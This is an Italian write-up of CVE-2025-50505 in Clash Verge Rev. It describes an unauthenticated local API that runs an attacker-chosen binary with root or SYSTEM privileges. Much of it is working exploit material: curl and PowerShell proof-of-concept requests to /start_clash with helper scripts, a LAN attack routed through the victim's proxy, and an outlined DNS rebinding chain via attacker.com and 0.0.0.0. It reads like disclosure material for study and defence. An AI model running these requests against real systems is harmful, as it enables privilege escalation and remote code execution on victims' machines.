
Exploit per CVE-2025-50505 in Clash Verge Rev, che dimostra l'escalation locale dei privilegi e l'esecuzione remota di codice tramite API non autenticata, incluse tecniche di DNS rebinding e reverse shell.
API non autorizzata porta all'esecuzione arbitraria di comandi e all'escalation dei privilegi in Clash Verge Rev
La vulnerabilità deriva da un endpoint API non autenticato esposto dal componente clash-verge-service, che viene installato con privilegi elevati per impostazione predefinita. Questa falla consente agli aggressori di eseguire comandi arbitrari, portando a due scenari di attacco principali: Escalation Locale dei Privilegi (LPE) sulla macchina host ed Esecuzione Remota di Codice (RCE) in condizioni specifiche.
Il vettore RCE può essere sfruttato da aggressori sulla stessa rete locale (LAN) se l'utente ha abilitato le connessioni LAN. Più criticamente, può essere sfruttato da Internet pubblico combinando la vulnerabilità con un attacco DNS Rebinding, consentendo agli aggressori di bypassare le policy di sicurezza del browser ed eseguire comandi sulla macchina della vittima semplicemente facendole visitare un sito web malevolo.
L'avviso pubblico iniziale di questa vulnerabilità è stato fornito da @KawaiiZapic su X.
Il componente clash-verge-service viene eseguito con privilegi elevati (root o SYSTEM) ed espone un'API HTTP non autenticata su 127.0.0.1:33211. La vulnerabilità risiede nell'endpoint /start_clash, che accetta un payload JSON per controllare l'avvio del processo del core Mihomo.
Il servizio costruisce ed esegue un comando basato su diversi parametri di questo payload, seguendo una struttura simile a:
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
Fondamentalmente, tutti e quattro i parametri—bin_path, config_dir, config_file e log_file—sono completamente controllabili dall'aggressore. Sebbene Rust fornisca una protezione intrinseca contro l'iniezione di comandi classica (ad es. usando ; o | per concatenare comandi), il controllo dell'aggressore sull'intera struttura del comando consente un attacco in due fasi per ottenere l'esecuzione arbitraria di codice.
/start_clashclash-verge-service/src/service/mod.rs
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() chiama start_mihomo() e start_mihomo() chiama la funzione process::spawn_process(bin_path, &args, log) passando bin_path. spawn_process() chiama std::Command::new(command) per eseguire il comandoclash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

La vulnerabilità può essere elevata a RCE in due scenari.
Se un utente abilita l'opzione "Allow LAN" (connessione LAN) all'interno del client Clash Verge Rev, il server proxy dell'applicazione diventa accessibile a tutti i dispositivi sulla stessa rete locale. Un aggressore sulla stessa LAN può sfruttare questo aspetto indirizzando la propria richiesta malevola attraverso il proxy esposto della vittima.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
Un attacco più avanzato può essere eseguito da Internet senza richiedere l'accesso alla LAN. La catena di attacco sfrutta il DNS Rebinding in combinazione con uno specifico comportamento del browser noto come exploit "0.0.0.0-day".
La chiave di questo attacco è che Firefox e alcune versioni di Chromium trattano l'indirizzo IP 0.0.0.0 come un alias di 127.0.0.1. Ciò consente a un aggressore di bypassare le funzionalità di sicurezza dei browser moderni come la Same-Origin Policy (SOP) e il Private Network Access (PNA).
Il flusso dell'attacco è il seguente:
attacker.com).attacker.com verso il suo vero indirizzo IP pubblico. La pagina malevola si carica nel browser della vittima.attacker.com in 0.0.0.0 con un TTL molto breve.attacker.com e ora riceve 0.0.0.0.127.0.0.1 sulla macchina della vittima.Poiché l'origine della richiesta è ancora attacker.com, lo script bypassa con successo le restrizioni di sicurezza e comunica direttamente con l'API vulnerabile di clash-verge-service su 127.0.0.1:33211, ottenendo l'esecuzione remota di codice.